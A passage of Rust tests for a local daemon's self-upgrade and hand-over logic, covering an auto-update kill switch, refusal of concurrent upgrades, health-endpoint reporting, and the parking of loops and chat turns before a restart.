15578    fn recheck_defers_to_an_upgrade_already_in_flight() {
15579        let dir = TempDir::new().expect("temp dir");
15580        let path = dir.path().join("state.json");
15581        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15582        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15583
15584        assert!(
15585            !update_recheck_due(&checker, Some(&progress)),
15586            "a recheck must not run while an upgrade this deck started is \
15587             still moving"
15588        );
15589    }
15590
15591    #[tokio::test]
15592    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15593        // The same env var the background check honours (`disabled_by_env`)
15594        // must also stop a button press before it ever calls
15595        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
15596        // means "never contact GitHub from this process", and a tap on the
15597        // upgrade button must not override that any more than a broken
15598        // `magi.toml` may. Left unset, this fixture's default config would
15599        // otherwise reach a real, unauthenticated GitHub call.
15600        //
15601        // SAFETY: single-threaded as far as this variable goes - nothing else
15602        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
15603        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
15604        unsafe {
15605            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15606        }
15607        let fx = Fixture::start().await;
15608        let res = fx.post("/api/upgrade", None).await;
15609        unsafe {
15610            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15611        }
15612        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15613        let body = res.json();
15614        assert!(body["to"].is_null(), "there was no release to move to");
15615        assert!(body["parked"].is_null(), "and nothing was parked");
15616        assert!(
15617            body["detail"]
15618                .as_str()
15619                .unwrap()
15620                .contains("disabled by MAGI_NO_AUTOUPDATE"),
15621            "{body:?}"
15622        );
15623    }
15624
15625    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15626        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15627        p.stage = stage;
15628        p
15629    }
15630
15631    #[test]
15632    fn busy_stages_match_the_ui_set() {
15633        use crate::updater::Stage;
15634        assert!(APP_JS.contains(
15635            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15636        ));
15637        for s in [
15638            Stage::Downloading,
15639            Stage::Replaced,
15640            Stage::Parking,
15641            Stage::Restarting,
15642        ] {
15643            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15644        }
15645        for s in [Stage::Done, Stage::Failed] {
15646            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15647        }
15648        assert!(upgrade_in_motion(None).is_none());
15649    }
15650
15651    #[tokio::test]
15652    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15653        use crate::updater::Stage;
15654        for stage in [
15655            Stage::Downloading,
15656            Stage::Replaced,
15657            Stage::Parking,
15658            Stage::Restarting,
15659        ] {
15660            let fx = Fixture::start().await;
15661            let seeded = seeded_progress(stage);
15662            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15663            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15664                .expect("read");
15665
15666            let res = fx.post("/api/upgrade", None).await;
15667            assert_eq!(res.status, 409, "{stage:?}");
15668            let err = res.json()["error"].as_str().unwrap().to_owned();
15669            assert!(err.contains("already in progress"), "{err}");
15670            assert!(err.contains(stage.as_str()), "{err}");
15671
15672            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15673                .expect("read");
15674            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15675            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15676                .unwrap_or_default();
15677            assert!(!log.contains("signalling HANDOVER"), "{log}");
15678        }
15679    }
15680
15681    #[tokio::test]
15682    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15683        use crate::updater::Stage;
15684        let repo = TempDir::new().expect("repo dir");
15685        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15686            .expect("write magi.toml");
15687        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15688        for stage in [Stage::Done, Stage::Failed] {
15689            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15690            let res = fx.post("/api/upgrade", None).await;
15691            assert_eq!(res.status, 200, "{stage:?}");
15692        }
15693        // No record at all, and the gate was released by the earlier calls.
15694        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15695        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15696    }
15697
15698    #[tokio::test]
15699    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15700        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
15701        // and the route answers from its own logic.
15702        //
15703        // This test used to lean on the fixture's placeholder repo failing
15704        // config discovery, which left `mode = "notify"` - and a live,
15705        // unauthenticated call to the GitHub releases API inside a unit test.
15706        // GitHub allows 60 of those an hour per address, so the suite went red
15707        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
15708        // long as somebody kept re-running it: every attempt spent another
15709        // request. Six reruns across four pull requests were charged to that
15710        // before it was read as a rate limit rather than a flake.
15711        //
15712        // What the assertion is about is the "already current" branch, which
15713        // is reached by there being no newer release *or* nowhere to look. The
15714        // second one needs no network and cannot be rate limited.
15715        let repo = TempDir::new().expect("repo dir");
15716        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15717            .expect("write magi.toml");
15718        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15719
15720        // It must answer 200 and leave the process alone: restarting for an
15721        // upgrade that did not happen parks the run in flight and drops every
15722        // connection to pay for nothing. A probe against a deck already on the
15723        // newest build did exactly that, which is how this case got its own
15724        // branch.
15725        let res = fx.post("/api/upgrade", None).await;
15726        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15727        let body = res.json();
15728        assert!(body["to"].is_null(), "there was no release to move to");
15729        assert!(body["parked"].is_null(), "and nothing was parked");
15730        assert!(
15731            body["detail"]
15732                .as_str()
15733                .unwrap()
15734                .contains("nothing restarted"),
15735            "{body:?}"
15736        );
15737    }
15738
15739    #[tokio::test]
15740    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15741        // `mode = "off"` for the same reason as the test above: a default
15742        // fixture repo falls back to `mode = "notify"`, which would make this
15743        // route's new `update` field a live, unauthenticated GitHub call on
15744        // every assertion in this suite that happens to hit `/api/health`.
15745        let repo = TempDir::new().expect("repo dir");
15746        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15747            .expect("write magi.toml");
15748        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15749
15750        let health = fx.get("/api/health").await.json();
15751        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15752        assert_eq!(
15753            health["update"]["available"], false,
15754            "checking is off, which reads as \"unknown\", not \"none\""
15755        );
15756        assert!(health["update"]["to"].is_null());
15757        assert!(
15758            health["upgrade"].is_null(),
15759            "nothing has ever asked this deck to upgrade"
15760        );
15761    }
15762
15763    #[tokio::test]
15764    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15765        let fx = Fixture::start().await;
15766        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15767
15768        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15769        progress.parked_run = Some("20260905-000000-cd51".to_owned());
15770        progress.advance(crate::updater::Stage::Parking);
15771        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15772
15773        let health = fx.get("/api/health").await.json();
15774        assert_eq!(health["upgrade"]["stage"], "parking");
15775        assert_eq!(health["upgrade"]["from"], "0.5.1");
15776        assert_eq!(health["upgrade"]["to"], "0.5.2");
15777        let waiting_on = health["upgrade"]["waiting_on"]
15778            .as_str()
15779            .expect("waiting_on is set while parking a known run");
15780        assert!(waiting_on.contains("cd51"), "{waiting_on}");
15781        assert!(waiting_on.contains("implementing"), "{waiting_on}");
15782    }
15783
15784    #[tokio::test]
15785    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15786        let fx = Fixture::start().await;
15787        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15788        progress.advance(crate::updater::Stage::Done);
15789        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15790
15791        let health = fx.get("/api/health").await.json();
15792        assert_eq!(health["upgrade"]["stage"], "done");
15793        assert!(
15794            health["upgrade"]["waiting_on"].is_null(),
15795            "nothing to wait on once it is done"
15796        );
15797    }
15798
15799    #[tokio::test]
15800    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15801        let home = TempDir::new().expect("temp home");
15802        let runs = home.path().join("runs");
15803        std::fs::create_dir_all(&runs).expect("runs dir");
15804        let ui = Ui::new(
15805            Queue::at(home.path().join("queue")),
15806            Questions::at(home.path().join("questions")),
15807            Talks::at(home.path().join("talks")),
15808            runs,
15809            home.path().to_path_buf(),
15810            PathBuf::from("/repo/magi"),
15811        )
15812        .with_launch(launch_idle);
15813        let looping = ui.looping();
15814        let turns = ui.turns();
15815        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15816            .await
15817            .expect("bind loopback");
15818        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15819
15820        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15821        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15822
15823        hand_over(
15824            home.path(),
15825            &looping,
15826            &turns,
15827            &|_: &[String]| Duration::from_secs(5),
15828            served,
15829            |_| Ok(1),
15830        )
15831        .await
15832        .expect("hand over");
15833
15834        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15835        assert_eq!(
15836            after.stage,
15837            crate::updater::Stage::Restarting,
15838            "hand_over owns the record through parking and up to restarting; \
15839             the successor is what finishes it"
15840        );
15841    }
15842
15843    /// The successor is started exactly once on success, and exactly once on
15844    /// failure too (a failed start is reported, never retried).
15845    #[tokio::test]
15846    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15847        for fail in [false, true] {
15848            let home = TempDir::new().expect("temp home");
15849            let ui = idle_ui(&home);
15850            let looping = ui.looping();
15851            let turns = ui.turns();
15852            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15853                .await
15854                .expect("bind loopback");
15855            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15856            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15857            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15858
15859            let calls = std::sync::atomic::AtomicUsize::new(0);
15860            let outcome = hand_over(
15861                home.path(),
15862                &looping,
15863                &turns,
15864                &|_: &[String]| Duration::from_secs(5),
15865                served,
15866                |_| {
15867                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15868                    if fail {
15869                        anyhow::bail!("no exec")
15870                    } else {
15871                        Ok(4242)
15872                    }
15873                },
15874            )
15875            .await;
15876            assert_eq!(outcome.is_err(), fail);
15877            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15878
15879            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15880                .expect("upgrade.log is written under the home");
15881            for step in [
15882                "entered",
15883                "finish_loop",
15884                "listener released",
15885                "starting the successor",
15886            ] {
15887                assert!(log.contains(step), "missing `{step}` in:\n{log}");
15888            }
15889            assert!(
15890                log.contains(if fail { "did not start" } else { "pid 4242" }),
15891                "{log}"
15892            );
15893        }
15894    }
15895
15896    /// The handover signal is seen however the race falls, and wakes its one
15897    /// waiter once per signal - nothing here can spin.
15898    #[tokio::test]
15899    async fn the_handover_signal_wakes_one_waiter_once() {
15900        let signal = Notify::new();
15901        // Signalled before anyone waits: the stored permit is not lost.
15902        signal.notify_one();
15903        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15904            .await
15905            .expect("an early signal is still seen");
15906        // One signal, one wake-up: a second wait does not resolve by itself.
15907        assert!(
15908            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15909                .await
15910                .is_err(),
15911            "a consumed signal must not wake a second time"
15912        );
15913        // Signalled while waiting.
15914        let signal = std::sync::Arc::new(signal);
15915        let waiter = tokio::spawn({
15916            let signal = std::sync::Arc::clone(&signal);
15917            async move { wait_for_handover(&signal).await }
15918        });
15919        tokio::time::sleep(Duration::from_millis(20)).await;
15920        assert!(!waiter.is_finished(), "nothing was signalled yet");
15921        signal.notify_one();
15922        tokio::time::timeout(Duration::from_secs(5), waiter)
15923            .await
15924            .expect("a late signal wakes the waiter")
15925            .expect("join");
15926    }
15927
15928    #[tokio::test]
15929    async fn health_says_how_long_a_handover_has_been_stuck() {
15930        let fx = Fixture::start().await;
15931        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15932        progress.advance(crate::updater::Stage::Replaced);
15933        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15934        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15935
15936        let health = fx.get("/api/health").await.json();
15937        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15938        assert!(stuck >= 600, "{stuck}");
15939        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15940        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15941    }
15942
15943    #[tokio::test]
15944    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15945        let home = tempfile::tempdir().expect("temp home");
15946        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15947        progress.advance(crate::updater::Stage::Parking);
15948        crate::updater::write_progress(home.path(), &progress).expect("seed");
15949        // What the second upgrade_and_restart and its handler do.
15950        let mut again = progress.clone();
15951        again.advance(crate::updater::Stage::Replaced);
15952        crate::updater::write_progress(home.path(), &again).expect("replaced");
15953        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15954        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15955        let after = crate::updater::read_progress(home.path()).expect("record");
15956        assert_eq!(after.stage, crate::updater::Stage::Parking);
15957    }
15958
15959    #[tokio::test]
15960    async fn health_does_not_call_a_live_parking_wait_stuck() {
15961        let fx = Fixture::start().await;
15962        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15963        progress.parked_run = Some("20260905-000000-cd51".to_owned());
15964        progress.advance(crate::updater::Stage::Parking);
15965        let hours = Duration::from_secs(3 * 3600);
15966        progress.started_at = Timestamp::now() - hours;
15967        progress.updated_at = Timestamp::now() - hours;
15968        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15969        let _lease = crate::updater::LeaseGuard::enter(
15970            fx.home.path(),
15971            Some("20260905-000000-cd51".to_owned()),
15972        );
15973
15974        let health = fx.get("/api/health").await.json();
15975        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15976        assert!(health["upgrade"]["stuck_kind"].is_null());
15977        assert_eq!(health["upgrade"]["handover_alive"], true);
15978        let waiting_on = health["upgrade"]["waiting_on"]
15979            .as_str()
15980            .expect("waiting_on");
15981        assert!(waiting_on.contains("cd51"), "{waiting_on}");
15982    }
15983
15984    fn idle_ui(home: &TempDir) -> Ui {
15985        let runs = home.path().join("runs");
15986        std::fs::create_dir_all(&runs).expect("runs dir");
15987        Ui::new(
15988            Queue::at(home.path().join("queue")),
15989            Questions::at(home.path().join("questions")),
15990            Talks::at(home.path().join("talks")),
15991            runs,
15992            home.path().to_path_buf(),
15993            PathBuf::from("/repo/magi"),
15994        )
15995        .with_launch(launch_idle)
15996    }
15997
15998    async fn park_fixture(
15999        home: &TempDir,
16000    ) -> (
16001        Ui,
16002        Arc<Mutex<LoopState>>,
16003        Arc<Mutex<TalkTurns>>,
16004        tokio::task::JoinHandle<std::io::Result<()>>,
16005    ) {
16006        let ui = idle_ui(home);
16007        let looping = ui.looping();
16008        let turns = ui.turns();
16009        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16010            .await
16011            .expect("bind loopback");
16012        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
16013        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16014        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
16015        (ui, looping, turns, served)
16016    }
16017
16018    /// The hand-over does not release the address while a chat turn is in
16019    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
16020    /// started once the turn ends.
16021    #[tokio::test]
16022    async fn hand_over_waits_for_a_running_chat_turn() {
16023        let home = TempDir::new().expect("temp home");
16024        let (ui, looping, turns, served) = park_fixture(&home).await;
16025        let ui = Arc::new(ui);
16026        let id = "20260901-000000-chat";
16027        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16028
16029        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
16030        let handover = tokio::spawn({
16031            let home = home.path().to_path_buf();
16032            let turns = Arc::clone(&turns);
16033            let calls = Arc::clone(&calls);
16034            async move {
16035                hand_over(
16036                    &home,
16037                    &looping,
16038                    &turns,
16039                    &|_: &[String]| Duration::from_secs(60),
16040                    served,
16041                    move |_| {
16042                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16043                        Ok(1)
16044                    },
16045                )
16046                .await
16047            }
16048        });
16049
16050        let waiting = async {
16051            for _ in 0..200 {
16052                if crate::updater::read_progress(home.path())
16053                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
16054                {
16055                    return;
16056                }
16057                tokio::time::sleep(Duration::from_millis(25)).await;
16058            }
16059            panic!("the park never named the chat turn");
16060        };
16061        waiting.await;
16062        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16063
16064        // A new turn is refused, a queued claim and a direct `/say` see a busy
16065        // slot, and nothing new is live.
16066        let refused = ui.begin_talk_turn("20260901-000000-late").err();
16067        assert!(
16068            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
16069            "a direct start says an upgrade is in progress"
16070        );
16071        assert!(
16072            ui.begin_queued_talk_turn("20260901-000000-late")
16073                .expect("queued claim")
16074                .is_none()
16075        );
16076        assert!(matches!(
16077            ui.begin_talk_turn_unless_pending("20260901-000000-late")
16078                .expect("start"),
16079            TalkTurnStart::Busy
16080        ));
16081        assert_eq!(turns.lock().unwrap().live.len(), 1);
16082
16083        // The health text names the turn.
16084        let progress = crate::updater::read_progress(home.path()).expect("progress");
16085        let view = upgrade_progress_view(&ui, progress);
16086        assert!(
16087            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
16088            "{:?}",
16089            view.waiting_on
16090        );
16091
16092        assert!(!handover.is_finished());
16093        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16094        drop(turn);
16095        handover.await.expect("join").expect("hand over");
16096        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16097        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
16098    }
16099
16100    /// Chat stays open while the loop is still parking, and closes only once
16101    /// the loop is done; a turn started during the park is waited for.
16102    #[tokio::test]
16103    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
16104        let home = TempDir::new().expect("temp home");
16105        let (ui, looping, turns, served) = park_fixture(&home).await;
16106        let ui = Arc::new(ui);
16107        // A loop that ends only when told to.
16108        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
16109        lock_or_recover(&looping).live = Some(Live {
16110            stop: daemon::Stop::new(),
16111            handle: tokio::spawn(async move {
16112                let _ = loop_ended.await;
16113            }),
16114            opts: daemon::Opts::default(),
16115        });
16116
16117        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
16118        let handover = tokio::spawn({
16119            let home = home.path().to_path_buf();
16120            let turns = Arc::clone(&turns);
16121            let calls = Arc::clone(&calls);
16122            async move {
16123                hand_over(
16124                    &home,
16125                    &looping,
16126                    &turns,
16127                    &|_: &[String]| Duration::from_secs(60),
16128                    served,
16129                    move |_| {
16130                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16131                        Ok(1)
16132                    },
16133                )
16134                .await
16135            }
16136        });
16137
16138        let reached = async {
16139            for _ in 0..200 {
16140                if crate::updater::read_progress(home.path())
16141                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
16142                {
16143                    return;
16144                }
16145                tokio::time::sleep(Duration::from_millis(25)).await;
16146            }
16147            panic!("the hand-over never reached parking");
16148        };
16149        reached.await;
16150
16151        // The loop is still parking: a chat turn starts.
16152        assert!(!turns.lock().unwrap().parking);
16153        let turn = ui
16154            .begin_talk_turn("20260901-000000-chat")
16155            .expect("claim")
16156            .expect("a turn can start while the loop parks");
16157
16158        // The loop ends; the slot closes while the first turn is still held.
16159        end_loop.send(()).expect("loop still waiting");
16160        for _ in 0..200 {
16161            if turns.lock().unwrap().parking {
16162                break;
16163            }
16164            tokio::time::sleep(Duration::from_millis(25)).await;
16165        }
16166        assert!(
16167            turns.lock().unwrap().parking,
16168            "closed once the loop is done"
16169        );
16170        let refused = ui.begin_talk_turn("20260901-000000-late").err();
16171        assert!(
16172            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
16173            "no turn starts once the loop is done"
16174        );
16175        assert!(
16176            ui.begin_queued_talk_turn("20260901-000000-late")
16177                .expect("queued claim")
16178                .is_none()
16179        );
16180        assert!(!handover.is_finished());
16181        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16182
16183        drop(turn);
16184        handover.await.expect("join").expect("hand over");
16185        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16186        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
16187    }
16188
16189    /// A turn that never ends cannot block the upgrade: past the bound the
16190    /// hand-over proceeds and records which talk it gave up on.
16191    #[tokio::test]
16192    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
16193        let home = TempDir::new().expect("temp home");
16194        let (ui, looping, turns, served) = park_fixture(&home).await;
16195        let id = "20260901-000000-stuk";
16196        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16197
16198        let calls = std::sync::atomic::AtomicUsize::new(0);
16199        hand_over(
16200            home.path(),
16201            &looping,
16202            &turns,
16203            &|_: &[String]| Duration::from_millis(300),
16204            served,
16205            |_| {
16206                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16207                Ok(1)
16208            },
16209        )
16210        .await
16211        .expect("hand over");
16212        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16213
16214        let progress = crate::updater::read_progress(home.path()).expect("progress");
16215        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
16216        assert!(
16217            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
16218            "{:?}",
16219            progress.detail
16220        );
16221        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
16222        assert!(
16223            log.contains("handing over anyway") && log.contains(id),
16224            "{log}"
16225        );
16226    }
16227
16228    /// A drain that finds the upgrade parking leaves the queued draft alone
16229    /// and gives the slot up, instead of starting another turn.
16230    #[tokio::test]
16231    async fn drain_loop_starts_no_turn_while_parking() {
16232        let tmp = TempDir::new().expect("tempdir");
16233        let repo = tmp.path().join("repo");
16234        std::fs::create_dir_all(&repo).expect("repo dir");
16235        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16236        let home = TempDir::new().expect("temp home");
16237        let talks = Talks::at(home.path().join("talks"));
16238        let ui = Ui::new(
16239            Queue::at(home.path().join("queue")),
16240            Questions::at(home.path().join("questions")),
16241            talks.clone(),
16242            home.path().join("runs"),
16243            home.path().to_path_buf(),
16244            repo.clone(),
16245        )
16246        .with_worktrees_root(home.path().join("wt"));
16247        let cfg = config_for(&repo).await.expect("discover config");
16248        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16249        let id = talk.id.clone();
16250        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
16251        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
16252        let turns = ui.turns();
16253        let parking = ParkingTurns::begin(&turns);
16254
16255        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
16256
16257        assert!(
16258            turns.lock().unwrap().live.is_empty(),
16259            "the slot is given up"
16260        );
16261        let fresh = talks.get(&id).expect("talk");
16262        assert_eq!(fresh.pending, "later", "the draft is still queued");
16263        assert!(fresh.turns.is_empty(), "no turn ran");
16264        drop(parking);
16265    }
16266
16267    /// Run `hand_over` against `ui` and return what the successor was told.
16268    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
16269        let looping = ui.looping();
16270        let turns = ui.turns();
16271        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16272            .await
16273            .expect("bind loopback");
16274        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16275        let told = std::sync::Mutex::new(None);
16276        hand_over(
16277            home.path(),
16278            &looping,
16279            &turns,
16280            &|_: &[String]| Duration::from_secs(5),
16281            served,
16282            |resume| {
16283                *told.lock().unwrap() = Some(resume);
16284                Ok(1)
16285            },
16286        )
16287        .await
16288        .expect("hand over");
16289        told.into_inner().unwrap().expect("successor was started")
16290    }
16291
16292    #[tokio::test]
16293    async fn a_running_loop_is_resumed_by_the_successor() {
16294        let home = TempDir::new().expect("temp home");
16295        let ui = idle_ui(&home);
16296        ui.start_loop(None).expect("start");
16297        ui.park_for_upgrade().expect("park");
16298        // The idle loop sees the park and ends before the handover fires.
16299        for _ in 0..500 {
16300            if !ui.loop_view(None).running {
16301                break;
16302            }
16303            tokio::time::sleep(Duration::from_millis(2)).await;
16304        }
16305        assert!(handed_over(&home, ui).await, "a running loop must resume");
16306
16307        let successor = idle_ui(&home);
16308        assert!(!successor.loop_view(None).running);
16309        assert!(successor.resume_after_handover(true));
16310        assert!(successor.loop_view(None).running);
16311        successor.stop_loop(None, false).expect("stop");
16312    }
16313
16314    #[tokio::test]
16315    async fn a_second_upgrade_request_keeps_the_resume_intent() {
16316        let home = TempDir::new().expect("temp home");
16317        let ui = idle_ui(&home);
16318        ui.start_loop(None).expect("start");
16319        ui.park_for_upgrade().expect("first park");
16320        ui.park_for_upgrade().expect("second park");
16321        assert!(handed_over(&home, ui).await);
16322    }
16323
16324    #[tokio::test]
16325    async fn a_stop_during_the_handover_wait_is_honoured() {
16326        let home = TempDir::new().expect("temp home");
16327        let ui = idle_ui(&home);
16328        ui.start_loop(None).expect("start");
16329        ui.park_for_upgrade().expect("park");
16330        ui.stop_loop(None, false).expect("stop");
16331        assert!(!handed_over(&home, ui).await);
16332    }
16333
16334    #[tokio::test]
16335    async fn an_idle_loop_stays_stopped_across_the_handover() {
16336        let home = TempDir::new().expect("temp home");
16337        let ui = idle_ui(&home);
16338        ui.park_for_upgrade().expect("park");
16339        assert!(!handed_over(&home, ui).await);
16340
16341        let successor = idle_ui(&home);
16342        assert!(!successor.resume_after_handover(false));
16343        assert!(!successor.loop_view(None).running);
16344    }
16345
16346    #[tokio::test]
16347    async fn a_loop_the_operator_stopped_is_not_resumed() {
16348        let home = TempDir::new().expect("temp home");
16349        let ui = idle_ui(&home);
16350        ui.start_loop(None).expect("start");
16351        ui.stop_loop(None, false).expect("stop");
16352        ui.park_for_upgrade().expect("park");
16353        assert!(!handed_over(&home, ui).await);
16354    }
16355
16356    #[test]
16357    fn only_an_explicit_one_requests_a_resume() {
16358        assert!(!resume_requested(None));
16359        assert!(!resume_requested(Some("0".into())));
16360        assert!(!resume_requested(Some("".into())));
16361        assert!(resume_requested(Some("1".into())));
16362    }
16363
16364    #[test]
16365    fn the_upgrade_button_arms_before_it_restarts_anything() {
16366        // It ends the process the operator is talking to, and a phone in a
16367        // pocket taps things. One tap arms, the second commits.
16368        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
16369        assert!(APP_JS.contains("Replace the binary and restart?"));
16370        assert!(APP_JS.contains("function confirmed("));
16371        // Hidden when the loop is somebody else's, matching the 409 above -
16372        // and hidden with nothing to install, matching the 200 "already
16373        // current" branch: an operator on the newest build must not be
16374        // offered a restart that would only park a run for nothing.
16375        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
16376        // A park waits for the node in flight, up to an hour for an implement
16377        // wave. Leaving the button reading "Upgrading…" for that long is the
16378        // same mistake as an error rendered off screen: it looks wedged.
16379        assert!(
16380            APP_JS.contains("Parking, then restarting"),
16381            "the button says what it is waiting for"
16382        );
16383        // And nothing to install must give the button back rather than
16384        // pretending a restart is coming.
16385        assert!(APP_JS.contains("if (!out.to)"));
16386    }
16387
16388    #[test]
16389    fn stopping_the_loop_arms_but_starting_does_not() {
16390        // A stray tap must not leave the queue stopped overnight, so a stop is
16391        // two taps through the same helper the upgrade uses; a start stays one.
16392        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
16393        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
16394        assert!(APP_JS.contains("confirmed(button, question)"));
16395        // The label put back on timeout is the one saved when arming, not a
16396        // hard-coded upgrade caption that would rename the stop button.
16397        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
16398        assert!(APP_JS.contains("const label = btn.textContent;"));
16399        assert!(!APP_JS.contains("Neither direction is guarded"));
16400    }
16401
16402    #[test]
16403    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
16404        assert!(
16405            APP_JS.contains("state.health.version"),
16406            "the operator wants to know what is running even with nothing newer"
16407        );
16408        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
16409    }
16410
16411    #[test]
